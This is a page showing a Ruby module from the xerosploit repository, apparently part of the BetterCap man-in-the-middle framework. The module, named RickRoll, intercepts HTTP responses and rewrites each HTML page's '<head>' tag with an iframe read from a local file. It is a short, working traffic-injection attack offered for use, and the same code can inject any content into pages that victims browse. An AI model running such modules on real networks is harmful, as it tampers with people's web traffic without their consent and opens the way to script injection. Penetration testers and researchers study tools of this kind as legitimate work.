Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
lionsec
GitHub Repository: lionsec/xerosploit
Path: blob/master/tools/bettercap/modules/rickroll.rb
527 views
1
=begin
2
3
BETTERCAP
4
5
Author : Simone 'evilsocket' Margaritelli
6
Email : [email protected]
7
Blog : http://www.evilsocket.net/
8
9
This project is released under the GPL 3 license.
10
11
=end
12
class RickRoll < BetterCap::Proxy::HTTP::Module
13
meta(
14
'Name' => 'RickRoll',
15
'Description' => 'Adds a "rickroll" video iframe on every webpage.',
16
'Version' => '1.0.0',
17
'Author' => "Simone 'evilsocket' Margaritelli",
18
'License' => 'GPL3'
19
)
20
21
def on_request( request, response )
22
# is it a html page?
23
if response.content_type =~ /^text\/html.*/
24
BetterCap::Logger.info "Inserting video iframe on http://#{request.host}#{request.path}"
25
# make sure to use sub! or gsub! to update the instance
26
file = File.open(File.dirname(__FILE__) + '/tmp/yplay.txt', "r")
27
contents = file.read
28
response.body.sub!( '<head>',contents)
29
end
30
end
31
end
32
33